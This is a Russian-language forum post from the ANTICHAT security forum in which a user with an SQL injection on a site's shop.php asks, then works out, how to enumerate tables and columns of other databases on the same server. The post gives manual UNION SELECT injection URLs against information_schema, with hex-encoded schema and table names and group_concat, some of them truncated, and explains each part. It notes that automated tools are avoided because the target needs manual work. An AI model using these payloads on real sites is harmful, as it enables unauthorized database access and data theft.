Ваши вопросы по уязвимостям.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

11.11.2017, 19:03

Muracha

Guest

Сообщений: n/a

Провел на форуме:
54593

Репутация: 0

Вопрос такой.

Есть иньекция на сайте. Таблицы выдергиваются из базы "А".

На сервере под одним пользователем крутиться 3 базы: А. Б.С.

Как составить запрос, чтобы можно выдернуть таблицы, колонки из базы Б и С?

Так берутся данные из базы А.

Цитата:

Сообщение от None

http://site/shop.php?id=-260+union+select+1,2,3,4,5,table_name,7,8,9,10,11, 12,13,14 FROM INFORMATION_SCHEMA.TABLES --

sqlmap не советуйте, сервер настроен так, что надо ручками.

Когда я написал этот пост я не остановился. Я стал искать дальше и выяснил, что это можно сделать следующим запросом:

Цитата:

Сообщение от None

http://site/shop/shop.php?id=-260+u...n_schema.tables WHERE table_schema=0x63172 --

group_concat(table_name+SEPARATOR+0x0b) - выводит список таблиц

FROM%20information_schema.tables%20WHERE%20table_s chema=0x6372%20-- - откуда брать таблицы.

ЗаHEXованная строчка - это название базы данных.

ну и колонки это:

Цитата:

Сообщение от None

http://localhost/sql.php?id=-1+UNIO...schema=0x74657374+AND+table_name=0x757365 7273